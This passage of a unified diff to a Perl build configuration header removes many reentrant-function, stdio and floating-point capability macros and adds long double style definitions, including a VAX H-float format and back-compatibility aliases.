- *	This symbol encodes the prototype of getservbyname_r.
- *	It is zero if d_getservbyname_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservbyname_r
- *	is defined.
- */
-/*#define HAS_GETSERVBYNAME_R	   / **/
-#define GETSERVBYNAME_R_PROTO 0	   /**/
-
-/* HAS_GETSERVBYPORT_R:
- *	This symbol, if defined, indicates that the getservbyport_r routine
- *	is available to getservbyport re-entrantly.
- */
-/* GETSERVBYPORT_R_PROTO:
- *	This symbol encodes the prototype of getservbyport_r.
- *	It is zero if d_getservbyport_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservbyport_r
- *	is defined.
- */
-/*#define HAS_GETSERVBYPORT_R	   / **/
-#define GETSERVBYPORT_R_PROTO 0	   /**/
-
-/* HAS_GETSERVENT_R:
- *	This symbol, if defined, indicates that the getservent_r routine
- *	is available to getservent re-entrantly.
- */
-/* GETSERVENT_R_PROTO:
- *	This symbol encodes the prototype of getservent_r.
- *	It is zero if d_getservent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservent_r
- *	is defined.
- */
-/*#define HAS_GETSERVENT_R	   / **/
-#define GETSERVENT_R_PROTO 0	   /**/
-
-/* HAS_GETSERV_PROTOS:
- *	This symbol, if defined, indicates that <netdb.h> includes
- *	prototypes for getservent(), getservbyname(), and
- *	getservbyaddr().  Otherwise, it is up to the program to guess
- *	them.  See netdbtype.U for probing for various Netdb_xxx_t types.
- */
-#define	HAS_GETSERV_PROTOS	/**/
-
-/* HAS_GETSPNAM_R:
- *	This symbol, if defined, indicates that the getspnam_r routine
- *	is available to getspnam re-entrantly.
- */
-/* GETSPNAM_R_PROTO:
- *	This symbol encodes the prototype of getspnam_r.
- *	It is zero if d_getspnam_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getspnam_r
- *	is defined.
- */
-/*#define HAS_GETSPNAM_R	   / **/
-#define GETSPNAM_R_PROTO 0	   /**/
-
 /* HAS_GETSERVBYNAME:
  *	This symbol, if defined, indicates that the getservbyname()
  *	routine is available to look up services by their name.
@@ -1810,29 +1688,6 @@
 #define HAS_GETSERVBYNAME		/**/
 #define HAS_GETSERVBYPORT		/**/
 
-/* HAS_GMTIME_R:
- *	This symbol, if defined, indicates that the gmtime_r routine
- *	is available to gmtime re-entrantly.
- */
-/* GMTIME_R_PROTO:
- *	This symbol encodes the prototype of gmtime_r.
- *	It is zero if d_gmtime_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gmtime_r
- *	is defined.
- */
-/*#define HAS_GMTIME_R	   / **/
-#define GMTIME_R_PROTO 0	   /**/
-
-/* HAS_GNULIBC:
- *	This symbol, if defined, indicates to the C program that
- *	the GNU C library is being used.  A better check is to use
- *	the __GLIBC__ and __GLIBC_MINOR__ symbols supplied with glibc.
- */
-/*#define HAS_GNULIBC  	/ **/
-#if defined(HAS_GNULIBC) && !defined(_GNU_SOURCE)
-#   define _GNU_SOURCE
-#endif
-
 /* HAS_HTONL:
  *	This symbol, if defined, indicates that the htonl() routine (and
  *	friends htons() ntohl() ntohs()) are available to do network
@@ -1858,45 +1713,6 @@
 #define HAS_NTOHL		/**/
 #define HAS_NTOHS		/**/
 
-/* HAS_ISASCII:
- *	This manifest constant lets the C program know that isascii
- *	is available.
- */
-#define HAS_ISASCII		/**/
-
-/* HAS_LCHOWN:
- *	This symbol, if defined, indicates that the lchown routine is
- *	available to operate on a symbolic link (instead of following the
- *	link).
- */
-/*#define HAS_LCHOWN		/ **/
-
-/* HAS_LOCALTIME_R:
- *	This symbol, if defined, indicates that the localtime_r routine
- *	is available to localtime re-entrantly.
- */
-/* LOCALTIME_R_NEEDS_TZSET:
- *	Many libc's localtime_r implementations do not call tzset,
- *	making them differ from localtime(), and making timezone
- *	changes using \undef{TZ} without explicitly calling tzset
- *	impossible. This symbol makes us call tzset before localtime_r
- */
-/*#define LOCALTIME_R_NEEDS_TZSET / **/
-#ifdef LOCALTIME_R_NEEDS_TZSET
-#define L_R_TZSET tzset(),
-#else
-#define L_R_TZSET
-#endif
-
-/* LOCALTIME_R_PROTO:
- *	This symbol encodes the prototype of localtime_r.
- *	It is zero if d_localtime_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_localtime_r
- *	is defined.
- */
-/*#define HAS_LOCALTIME_R	   / **/
-#define LOCALTIME_R_PROTO 0	   /**/
-
 /* HAS_LONG_DOUBLE:
  *	This symbol will be defined if the C compiler supports long
  *	doubles.
@@ -1904,7 +1720,8 @@
 /* LONG_DOUBLESIZE:
  *	This symbol contains the size of a long double, so that the
  *	C preprocessor can make decisions based on it.  It is only
- *	defined if the system supports long doubles.
+ *	defined if the system supports long doubles.  Note that this
+ *	is sizeof(long double), which may include unused bytes.
  */
 /* HAS_LDEXPL:
  *	This symbol, if defined, indicates that the ldexpl routine is
@@ -1922,9 +1739,34 @@
  *	LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BE_BE
  *	LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_LE_BE
  *	LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BE_LE
+ *	LONG_DOUBLE_IS_VAX_H_FLOAT
  *	LONG_DOUBLE_IS_UNKNOWN_FORMAT
  *	It is only defined if the system supports long doubles.
  */
+/* LONG_DOUBLE_STYLE_IEEE:
+ *	This symbol, if defined, indicates that the long double
+ *	is any of the IEEE 754 style long doubles:
+ *	LONG_DOUBLE_STYLE_IEEE_STD, LONG_DOUBLE_STYLE_IEEE_EXTENDED,
+ *	LONG_DOUBLE_STYLE_IEEE_DOUBLEDOUBLE.
+ */
+/* LONG_DOUBLE_STYLE_IEEE_DOUBLEDOUBLE:
+ *	This symbol, if defined, indicates that the long double is
+ *	the 128-bit double-double.
+ */
+/* LONG_DOUBLE_STYLE_IEEE_EXTENDED:
+ *	This symbol, if defined, indicates that the long double is
+ *	the 80-bit IEEE 754. Note that despite the 'extended' this
+ *	is less than the 'std', since this is an extension of
+ *	the double precision.
+ */
+/* LONG_DOUBLE_STYLE_IEEE_STD:
+ *	This symbol, if defined, indicates that the long double is
+ *	the 128-bit IEEE 754.
+ */
+/* LONG_DOUBLE_STYLE_VAX:
+ *	This symbol, if defined, indicates that the long double is
+ *	the 128-bit VAX format H.
+ */
 /*#define  HAS_LDEXPL		/ **/
 #define HAS_LONG_DOUBLE		/**/
 #ifdef HAS_LONG_DOUBLE
@@ -1939,7 +1781,15 @@
 #define LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BE_BE	6
 #define LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_LE_BE	7
 #define LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BE_LE	8
+#define LONG_DOUBLE_IS_VAX_H_FLOAT			9
 #define LONG_DOUBLE_IS_UNKNOWN_FORMAT			-1
+#define LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_LITTLE_ENDIAN	LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_LE_LE /* back-compat */
+#define LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BIG_ENDIAN	LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BE_BE /* back-compat */
+#undef LONG_DOUBLE_STYLE_IEEE
+#undef LONG_DOUBLE_STYLE_IEEE_DOUBLEDOUBLE
+#define LONG_DOUBLE_STYLE_IEEE_EXTENDED
+#undef LONG_DOUBLE_STYLE_IEEE_STD
+#undef LONG_DOUBLE_STYLE_VAX
 #endif
 
 /* HAS_LONG_LONG:
@@ -1955,20 +1805,6 @@
 #define LONGLONGSIZE 8		/**/
 #endif
 
-/* HAS_LSEEK_PROTO:
- *	This symbol, if defined, indicates that the system provides
- *	a prototype for the lseek() function.  Otherwise, it is up
- *	to the program to supply one.  A good guess is
- *		extern off_t lseek(int, off_t, int);
- */
-#define	HAS_LSEEK_PROTO	/**/
-
-/* HAS_MEMCHR:
- *	This symbol, if defined, indicates that the memchr routine is available
- *	to locate characters within a C string.
- */
-#define HAS_MEMCHR	/**/
-
 /* HAS_MKSTEMP:
  *	This symbol, if defined, indicates that the mkstemp routine is
  *	available to exclusively create and open a uniquely named
@@ -1996,109 +1832,6 @@
  */
 /*#define HAS_MSG		/ **/
 
-/* HAS_OPEN3:
- *	This manifest constant lets the C program know that the three
- *	argument form of open(2) is available.
- */
-/*#define HAS_OPEN3		/ **/
-
-/* OLD_PTHREAD_CREATE_JOINABLE:
- *	This symbol, if defined, indicates how to create pthread
- *	in joinable (aka undetached) state.  NOTE: not defined
- *	if pthread.h already has defined PTHREAD_CREATE_JOINABLE
- *	(the new version of the constant).
- *	If defined, known values are PTHREAD_CREATE_UNDETACHED
- *	and __UNDETACHED.
- */
-/*#define OLD_PTHREAD_CREATE_JOINABLE  / **/
-
-/* HAS_PTHREAD_ATFORK:
- *	This symbol, if defined, indicates that the pthread_atfork routine
- *	is available to setup fork handlers.
- */
-/*#define HAS_PTHREAD_ATFORK		/ **/
-
-/* HAS_PTHREAD_YIELD:
- *	This symbol, if defined, indicates that the pthread_yield
- *	routine is available to yield the execution of the current
- *	thread.	 sched_yield is preferable to pthread_yield.
- */
-/* SCHED_YIELD:
- *	This symbol defines the way to yield the execution of
- *	the current thread.  Known ways are sched_yield,
- *	pthread_yield, and pthread_yield with NULL.
- */
-/* HAS_SCHED_YIELD:
- *	This symbol, if defined, indicates that the sched_yield
- *	routine is available to yield the execution of the current
- *	thread.	 sched_yield is preferable to pthread_yield.
- */
-/*#define HAS_PTHREAD_YIELD	/ **/
-#define SCHED_YIELD		/**/
-/*#define HAS_SCHED_YIELD	/ **/
-
-/* HAS_RANDOM_R:
- *	This symbol, if defined, indicates that the random_r routine
- *	is available to random re-entrantly.
- */
-/* RANDOM_R_PROTO:
- *	This symbol encodes the prototype of random_r.
- *	It is zero if d_random_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_random_r
- *	is defined.
- */
-/*#define HAS_RANDOM_R	   / **/
-#define RANDOM_R_PROTO 0	   /**/
-
-/* HAS_READDIR64_R:
- *	This symbol, if defined, indicates that the readdir64_r routine
- *	is available to readdir64 re-entrantly.
- */
-/* READDIR64_R_PROTO:
- *	This symbol encodes the prototype of readdir64_r.
- *	It is zero if d_readdir64_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_readdir64_r
- *	is defined.
- */
-/*#define HAS_READDIR64_R	   / **/
-#define READDIR64_R_PROTO 0	   /**/
-
-/* HAS_READDIR_R:
- *	This symbol, if defined, indicates that the readdir_r routine
- *	is available to readdir re-entrantly.
- */
-/* READDIR_R_PROTO:
- *	This symbol encodes the prototype of readdir_r.
- *	It is zero if d_readdir_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_readdir_r
- *	is defined.
- */
-/*#define HAS_READDIR_R	   / **/
-#define READDIR_R_PROTO 0	   /**/
-
-/* HAS_SAFE_BCOPY:
- *	This symbol, if defined, indicates that the bcopy routine is available
- *	to copy potentially overlapping memory blocks. Normally, you should
- *	probably use memmove() or memcpy(). If neither is defined, roll your
- *	own version.
- */
-/*#define HAS_SAFE_BCOPY	/ **/
-
-/* HAS_SAFE_MEMCPY:
- *	This symbol, if defined, indicates that the memcpy routine is available
- *	to copy potentially overlapping memory blocks.  If you need to
- *	copy overlapping memory blocks, you should check HAS_MEMMOVE and
- *	use memmove() instead, if available.
- */
-/*#define HAS_SAFE_MEMCPY	/ **/
-
-/* HAS_SANE_MEMCMP:
- *	This symbol, if defined, indicates that the memcmp routine is available
- *	and can be used to compare relative magnitudes of chars with their high
- *	bits set.  If it is not defined, roll your own version.
- */
-#define HAS_SANE_MEMCMP	/**/
-
 /* HAS_SEM:
  *	This symbol, if defined, indicates that the entire sem*(2) library is
  *	supported.
@@ -2111,19 +1844,6 @@
  */
 /*#define HAS_SETGRENT		/ **/
 
-/* HAS_SETGRENT_R:
- *	This symbol, if defined, indicates that the setgrent_r routine
- *	is available to setgrent re-entrantly.
- */
-/* SETGRENT_R_PROTO:
- *	This symbol encodes the prototype of setgrent_r.
- *	It is zero if d_setgrent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setgrent_r
- *	is defined.
- */
-/*#define HAS_SETGRENT_R	   / **/
-#define SETGRENT_R_PROTO 0	   /**/
-
 /* HAS_SETHOSTENT:
  *	This symbol, if defined, indicates that the sethostent() routine is
  *	available.
@@ -2130,32 +1850,6 @@
  */
 /*#define HAS_SETHOSTENT		/ **/
 
-/* HAS_SETHOSTENT_R:
- *	This symbol, if defined, indicates that the sethostent_r routine
- *	is available to sethostent re-entrantly.
- */
-/* SETHOSTENT_R_PROTO:
- *	This symbol encodes the prototype of sethostent_r.
- *	It is zero if d_sethostent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_sethostent_r
- *	is defined.
- */
-/*#define HAS_SETHOSTENT_R	   / **/
-#define SETHOSTENT_R_PROTO 0	   /**/
-
-/* HAS_SETLOCALE_R:
- *	This symbol, if defined, indicates that the setlocale_r routine
- *	is available to setlocale re-entrantly.
- */
-/* SETLOCALE_R_PROTO:
- *	This symbol encodes the prototype of setlocale_r.
- *	It is zero if d_setlocale_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setlocale_r
- *	is defined.
- */
-/*#define HAS_SETLOCALE_R	   / **/
-#define SETLOCALE_R_PROTO 0	   /**/
-
 /* HAS_SETNETENT:
  *	This symbol, if defined, indicates that the setnetent() routine is
  *	available.
@@ -2162,19 +1856,6 @@
  */
 /*#define HAS_SETNETENT		/ **/
 
-/* HAS_SETNETENT_R:
- *	This symbol, if defined, indicates that the setnetent_r routine
- *	is available to setnetent re-entrantly.
- */
-/* SETNETENT_R_PROTO:
- *	This symbol encodes the prototype of setnetent_r.
- *	It is zero if d_setnetent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setnetent_r
- *	is defined.
- */
-/*#define HAS_SETNETENT_R	   / **/
-#define SETNETENT_R_PROTO 0	   /**/
-
 /* HAS_SETPROTOENT:
  *	This symbol, if defined, indicates that the setprotoent() routine is
  *	available.
@@ -2193,19 +1874,6 @@
 /*#define HAS_SETPGRP		/ **/
 /*#define USE_BSD_SETPGRP	/ **/
 
-/* HAS_SETPROTOENT_R:
- *	This symbol, if defined, indicates that the setprotoent_r routine
- *	is available to setprotoent re-entrantly.
- */
-/* SETPROTOENT_R_PROTO:
- *	This symbol encodes the prototype of setprotoent_r.
- *	It is zero if d_setprotoent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setprotoent_r
- *	is defined.
- */
-/*#define HAS_SETPROTOENT_R	   / **/
-#define SETPROTOENT_R_PROTO 0	   /**/
-
 /* HAS_SETPWENT:
  *	This symbol, if defined, indicates that the setpwent routine is
  *	available for initializing sequential access of the passwd database.
@@ -2212,19 +1880,6 @@
  */
 /*#define HAS_SETPWENT		/ **/
 
-/* HAS_SETPWENT_R:
- *	This symbol, if defined, indicates that the setpwent_r routine
- *	is available to setpwent re-entrantly.
- */
-/* SETPWENT_R_PROTO:
- *	This symbol encodes the prototype of setpwent_r.
- *	It is zero if d_setpwent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setpwent_r
- *	is defined.
- */
-/*#define HAS_SETPWENT_R	   / **/
-#define SETPWENT_R_PROTO 0	   /**/
-
 /* HAS_SETSERVENT:
  *	This symbol, if defined, indicates that the setservent() routine is
  *	available.
@@ -2231,19 +1886,6 @@
  */
 /*#define HAS_SETSERVENT		/ **/
 
-/* HAS_SETSERVENT_R:
- *	This symbol, if defined, indicates that the setservent_r routine
- *	is available to setservent re-entrantly.
- */
-/* SETSERVENT_R_PROTO:
- *	This symbol encodes the prototype of setservent_r.
- *	It is zero if d_setservent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setservent_r
- *	is defined.
- */
-/*#define HAS_SETSERVENT_R	   / **/
-#define SETSERVENT_R_PROTO 0	   /**/
-
 /* HAS_SETVBUF:
  *	This symbol, if defined, indicates that the setvbuf routine is
  *	available to change buffering on an open stdio stream.
@@ -2271,43 +1913,6 @@
 #define Shmat_t void *	/**/
 /*#define HAS_SHMAT_PROTOTYPE	/ **/
 
-/* HAS_SIGACTION:
- *	This symbol, if defined, indicates that Vr4's sigaction() routine
- *	is available.
- */
-/*#define HAS_SIGACTION	/ **/
-
-/* HAS_SIGSETJMP:
- *	This variable indicates to the C program that the sigsetjmp()
- *	routine is available to save the calling process's registers
- *	and stack environment for later use by siglongjmp(), and
- *	to optionally save the process's signal mask.  See
- *	Sigjmp_buf, Sigsetjmp, and Siglongjmp.
- */
-/* Sigjmp_buf:
- *	This is the buffer type to be used with Sigsetjmp and Siglongjmp.
- */
-/* Sigsetjmp:
- *	This macro is used in the same way as sigsetjmp(), but will invoke
- *	traditional setjmp() if sigsetjmp isn't available.
- *	See HAS_SIGSETJMP.
- */
-/* Siglongjmp:
- *	This macro is used in the same way as siglongjmp(), but will invoke
- *	traditional longjmp() if siglongjmp isn't available.
- *	See HAS_SIGSETJMP.
- */
-/*#define HAS_SIGSETJMP	/ **/
-#ifdef HAS_SIGSETJMP
-#define Sigjmp_buf sigjmp_buf
-#define Sigsetjmp(buf,save_mask) sigsetjmp((buf),(save_mask))
-#define Siglongjmp(buf,retval) siglongjmp((buf),(retval))
-#else
-#define Sigjmp_buf jmp_buf
-#define Sigsetjmp(buf,save_mask) setjmp((buf))
-#define Siglongjmp(buf,retval) longjmp((buf),(retval))
-#endif
-
 /* HAS_SOCKET:
  *	This symbol, if defined, indicates that the BSD socket interface is
  *	supported.
@@ -2355,32 +1960,6 @@
 /*#define	HAS_IPV6_MREQ	/ **/
 /*#define	HAS_IPV6_MREQ_SOURCE	/ **/
 
-/* HAS_SRAND48_R:
- *	This symbol, if defined, indicates that the srand48_r routine
- *	is available to srand48 re-entrantly.
- */
-/* SRAND48_R_PROTO:
- *	This symbol encodes the prototype of srand48_r.
- *	It is zero if d_srand48_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_srand48_r
- *	is defined.
- */
-/*#define HAS_SRAND48_R	   / **/
-#define SRAND48_R_PROTO 0	   /**/
-
-/* HAS_SRANDOM_R:
- *	This symbol, if defined, indicates that the srandom_r routine
- *	is available to srandom re-entrantly.
- */
-/* SRANDOM_R_PROTO:
- *	This symbol encodes the prototype of srandom_r.
- *	It is zero if d_srandom_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_srandom_r
- *	is defined.
- */
-/*#define HAS_SRANDOM_R	   / **/
-#define SRANDOM_R_PROTO 0	   /**/
-
 /* USE_STAT_BLOCKS:
  *	This symbol is defined if this system has a stat structure declaring
  *	st_blksize and st_blocks.
@@ -2389,136 +1968,13 @@
 /*#define USE_STAT_BLOCKS 	/ **/
 #endif
 
-/* HAS_STATIC_INLINE:
- *	This symbol, if defined, indicates that the C compiler supports
- *	C99-style static inline.  That is, the function can't be called
- *	from another translation unit.
- */
-/* PERL_STATIC_INLINE:
- *	This symbol gives the best-guess incantation to use for static
- *	inline functions.  If HAS_STATIC_INLINE is defined, this will
- *	give C99-style inline.  If HAS_STATIC_INLINE is not defined,
- *	this will give a plain 'static'.  It will always be defined
- *	to something that gives static linkage.
- *	Possibilities include
- *		static inline       (c99)
- *		static __inline__   (gcc -ansi)
- *		static __inline     (MSVC)
- *		static _inline      (older MSVC)
- *		static              (c89 compilers)
- */
-#define HAS_STATIC_INLINE				/**/
-#define PERL_STATIC_INLINE static __inline__	/**/
-
-/* USE_STDIO_PTR:
- *	This symbol is defined if the _ptr and _cnt fields (or similar)
- *	of the stdio FILE structure can be used to access the stdio buffer
- *	for a file handle.  If this is defined, then the FILE_ptr(fp)
- *	and FILE_cnt(fp) macros will also be defined and should be used
- *	to access these fields.
- */
-/* FILE_ptr:
- *	This macro is used to access the _ptr field (or equivalent) of the
- *	FILE structure pointed to by its argument. This macro will always be
- *	defined if USE_STDIO_PTR is defined.
- */
-/* STDIO_PTR_LVALUE:
- *	This symbol is defined if the FILE_ptr macro can be used as an
- *	lvalue.
- */
-/* FILE_cnt:
- *	This macro is used to access the _cnt field (or equivalent) of the
- *	FILE structure pointed to by its argument. This macro will always be
- *	defined if USE_STDIO_PTR is defined.
- */
-/* STDIO_CNT_LVALUE:
- *	This symbol is defined if the FILE_cnt macro can be used as an
- *	lvalue.
- */
-/* STDIO_PTR_LVAL_SETS_CNT:
- *	This symbol is defined if using the FILE_ptr macro as an lvalue
- *	to increase the pointer by n has the side effect of decreasing the
- *	value of File_cnt(fp) by n.
- */
-/* STDIO_PTR_LVAL_NOCHANGE_CNT:
- *	This symbol is defined if using the FILE_ptr macro as an lvalue
- *	to increase the pointer by n leaves File_cnt(fp) unchanged.
- */
-#define USE_STDIO_PTR 	/**/
-#ifdef USE_STDIO_PTR
-#define FILE_ptr(fp)	((fp)->_ptr)
-#define STDIO_PTR_LVALUE 		/**/
-#define FILE_cnt(fp)	((fp)->_cnt)
-#define STDIO_CNT_LVALUE 		/**/
-/*#define STDIO_PTR_LVAL_SETS_CNT	/ **/
-#define STDIO_PTR_LVAL_NOCHANGE_CNT	/**/
-#endif
-
-/* USE_STDIO_BASE:
- *	This symbol is defined if the _base field (or similar) of the
- *	stdio FILE structure can be used to access the stdio buffer for
- *	a file handle.  If this is defined, then the FILE_base(fp) macro
- *	will also be defined and should be used to access this field.
- *	Also, the FILE_bufsiz(fp) macro will be defined and should be used
- *	to determine the number of bytes in the buffer.  USE_STDIO_BASE
- *	will never be defined unless USE_STDIO_PTR is.
- */
-/* FILE_base:
- *	This macro is used to access the _base field (or equivalent) of the
- *	FILE structure pointed to by its argument. This macro will always be
- *	defined if USE_STDIO_BASE is defined.
- */
-/* FILE_bufsiz:
- *	This macro is used to determine the number of bytes in the I/O
- *	buffer pointed to by _base field (or equivalent) of the FILE
- *	structure pointed to its argument. This macro will always be defined
- *	if USE_STDIO_BASE is defined.
- */
-#define USE_STDIO_BASE 	/**/
-#ifdef USE_STDIO_BASE
-#define FILE_base(fp)	((fp)->_base)
-#define FILE_bufsiz(fp)	((fp)->_cnt + (fp)->_ptr - (fp)->_base)
-#endif
-
-/* USE_STRUCT_COPY:
- *	This symbol, if defined, indicates that this C compiler knows how
- *	to copy structures.  If undefined, you'll need to use a block copy
- *	routine of some sort instead.
- */
-#define	USE_STRUCT_COPY	/**/
-
-/* HAS_STRERROR:
- *	This symbol, if defined, indicates that the strerror routine is
- *	available to translate error numbers to strings. See the writeup
- *	of Strerror() in this file before you try to define your own.
- */
 /* HAS_SYS_ERRLIST:
  *	This symbol, if defined, indicates that the sys_errlist array is
  *	available to translate error numbers to strings. The extern int
  *	sys_nerr gives the size of that table.
  */
-/* Strerror:
- *	This preprocessor symbol is defined as a macro if strerror() is
- *	not available to translate error numbers to strings but sys_errlist[]
- *	array is there.
- */
-#define HAS_STRERROR		/**/
 #define HAS_SYS_ERRLIST	/**/
-#define Strerror(e) strerror(e)
 
-/* HAS_STRERROR_R:
- *	This symbol, if defined, indicates that the strerror_r routine
- *	is available to strerror re-entrantly.
- */
-/* STRERROR_R_PROTO:
- *	This symbol encodes the prototype of strerror_r.
- *	It is zero if d_strerror_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_strerror_r
- *	is defined.
- */
-/*#define HAS_STRERROR_R	   / **/
-#define STRERROR_R_PROTO 0	   /**/
-
 /* HAS_STRTOUL:
  *	This symbol, if defined, indicates that the strtoul routine is
  *	available to provide conversion of strings to unsigned long.
@@ -2525,50 +1981,6 @@
  */
 #define HAS_STRTOUL	/**/
 
-/* HAS_TIME:
- *	This symbol, if defined, indicates that the time() routine exists.
- */
-/* Time_t:
- *	This symbol holds the type returned by time(). It can be long,
- *	or time_t on BSD sites (in which case <sys/types.h> should be
- *	included).
- */
-#define HAS_TIME		/**/
-#define Time_t time_t		/* Time type */
-
-/* HAS_TIMES:
- *	This symbol, if defined, indicates that the times() routine exists.
- *	Note that this became obsolete on some systems (SUNOS), which now
- * use getrusage(). It may be necessary to include <sys/times.h>.
- */
-#define HAS_TIMES		/**/
-
-/* HAS_TMPNAM_R:
- *	This symbol, if defined, indicates that the tmpnam_r routine
- *	is available to tmpnam re-entrantly.
- */
-/* TMPNAM_R_PROTO:
- *	This symbol encodes the prototype of tmpnam_r.
- *	It is zero if d_tmpnam_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_tmpnam_r
- *	is defined.
- */
-/*#define HAS_TMPNAM_R	   / **/
-#define TMPNAM_R_PROTO 0	   /**/
-
-/* HAS_TTYNAME_R:
- *	This symbol, if defined, indicates that the ttyname_r routine
- *	is available to ttyname re-entrantly.
- */
-/* TTYNAME_R_PROTO:
- *	This symbol encodes the prototype of ttyname_r.
- *	It is zero if d_ttyname_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ttyname_r
- *	is defined.
- */
-/*#define HAS_TTYNAME_R	   / **/
-#define TTYNAME_R_PROTO 0	   /**/
-
 /* HAS_UNION_SEMUN:
  *	This symbol, if defined, indicates that the union semun is
  *	defined by including <sys/sem.h>.  If not, the user code
@@ -2610,154 +2022,6 @@
  */
 #define Signal_t void	/* Signal handler's return type */
 
-/* HASVOLATILE:
- *	This symbol, if defined, indicates that this C compiler knows about
- *	the volatile declaration.
- */
-#define	HASVOLATILE	/**/
-#ifndef HASVOLATILE
-#define volatile
-#endif
-
-/* HAS_VPRINTF:
- *	This symbol, if defined, indicates that the vprintf routine is available
- *	to printf with a pointer to an argument list.  If unavailable, you
- *	may need to write your own, probably in terms of _doprnt().
- */
-/* USE_CHAR_VSPRINTF:
- *	This symbol is defined if this system has vsprintf() returning type
- *	(char*).  The trend seems to be to declare it as "int vsprintf()".  It
- *	is up to the package author to declare vsprintf correctly based on the
- *	symbol.
- */
-#define HAS_VPRINTF	/**/
-/*#define USE_CHAR_VSPRINTF 	/ **/
-
-/* DOUBLESIZE:
- *	This symbol contains the size of a double, so that the C preprocessor
- *	can make decisions based on it.
- */
-#define DOUBLESIZE 8		/**/
-
-/* DOUBLE_STYLE_IEEE
- *	This symbol, if defined, indicates that the double is
- *	the 64-bit IEEE 754.
- */
-/* DOUBLE_HAS_INF
- *	This symbol, if defined, indicates that the double has
- *	the infinity.
- */
-/* DOUBLE_HAS_NAN
- *	This symbol, if defined, indicates that the double has
- *	the not-a-number.
- */
-/* DOUBLE_HAS_NEGATIVE_ZERO
- *	This symbol, if defined, indicates that the double has
- *	the negative_zero.
- */
-/* DOUBLE_HAS_SUBNORMALS
- *	This symbol, if defined, indicates that the double has
- *	the subnormals (denormals).
- */
-#define DOUBLE_STYLE_IEEE
-#define DOUBLE_HAS_INF
-#define DOUBLE_HAS_INF
-#define DOUBLE_HAS_NEGATIVE_ZERO
-#define DOUBLE_HAS_SUBNORMALS
-
-/* DOUBLEINFBYTES:
- *	This symbol, if defined, is a comma-separated list of
- *	hexadecimal bytes for the double precision infinity.
- */
-/* DOUBLENANBYTES:
- *	This symbol, if defined, is a comma-separated list of
- *	hexadecimal bytes (0xHH) for the double precision not-a-number.
- */
-/* LONGDBLINFBYTES:
- *	This symbol, if defined, is a comma-separated list of
- *	hexadecimal bytes for the long double precision infinity.
- */
-/* LONGDBLNANBYTES:
- *	This symbol, if defined, is a comma-separated list of
- *	hexadecimal bytes (0xHH) for the long double precision not-a-number.
- */
-#define DOUBLEINFBYTES 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x7f		/**/
-#define DOUBLENANBYTES 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x7f		/**/
-#define LONGDBLINFBYTES 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x7f, 0x00, 0x00		/**/
-#define LONGDBLNANBYTES 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0x7f, 0x00, 0x00		/**/
-
-/* DOUBLEMANTBITS:
- *	This symbol, if defined, tells how many mantissa bits
- *	there are in double precision floating point format.
- *      Note that this is usually DBL_MANT_DIG minus one, since
- *      with the standard IEEE 754 formats DBL_MANT_DIG includes
- *	the implicit bit, which doesn't really exist.
- */
-#define DOUBLEMANTBITS 52
-
-/* LONGDBLMANTBITS:
- *	This symbol, if defined, tells how many mantissa bits
- *	there are in long double precision floating point format.
- *      Note that this can be LDBL_MANT_DIG minus one,
- *      since LDBL_MANT_DIG can include the IEEE 754 implicit bit.
- *      The common x86-style 80-bit long double does not have
- *	an implicit bit.
- */
-#define LONGDBLMANTBITS 64
-
-/* LONG_DOUBLE_STYLE_IEEE
- *	This symbol, if defined, indicates that the long double
- *	is any of the IEEE 754 style long doubles:
- *	LONG_DOUBLE_STYLE_IEEE_STD, LONG_DOUBLE_STYLE_IEEE_EXTENDED,
- *	LONG_DOUBLE_STYLE_IEEE_DOUBLEDOUBLE.
- */
-/* LONG_DOUBLE_STYLE_IEEE_EXTENDED
- *	This symbol, if defined, indicates that the long double is
- *	the 80-bit IEEE 754. Note that despite the 'extended' this
- *	is less than the 'std', since this is an extension of
- *	the double precision.
- */
-#define LONG_DOUBLE_STYLE_IEEE
-#define LONG_DOUBLE_STYLE_IEEE_EXTENDED
-
-/* EBCDIC:
- *	This symbol, if defined, indicates that this system uses
- *	EBCDIC encoding.
- */
-/*#define	EBCDIC 		/ **/
-
-/* Fpos_t:
- *	This symbol holds the type used to declare file positions in libc.
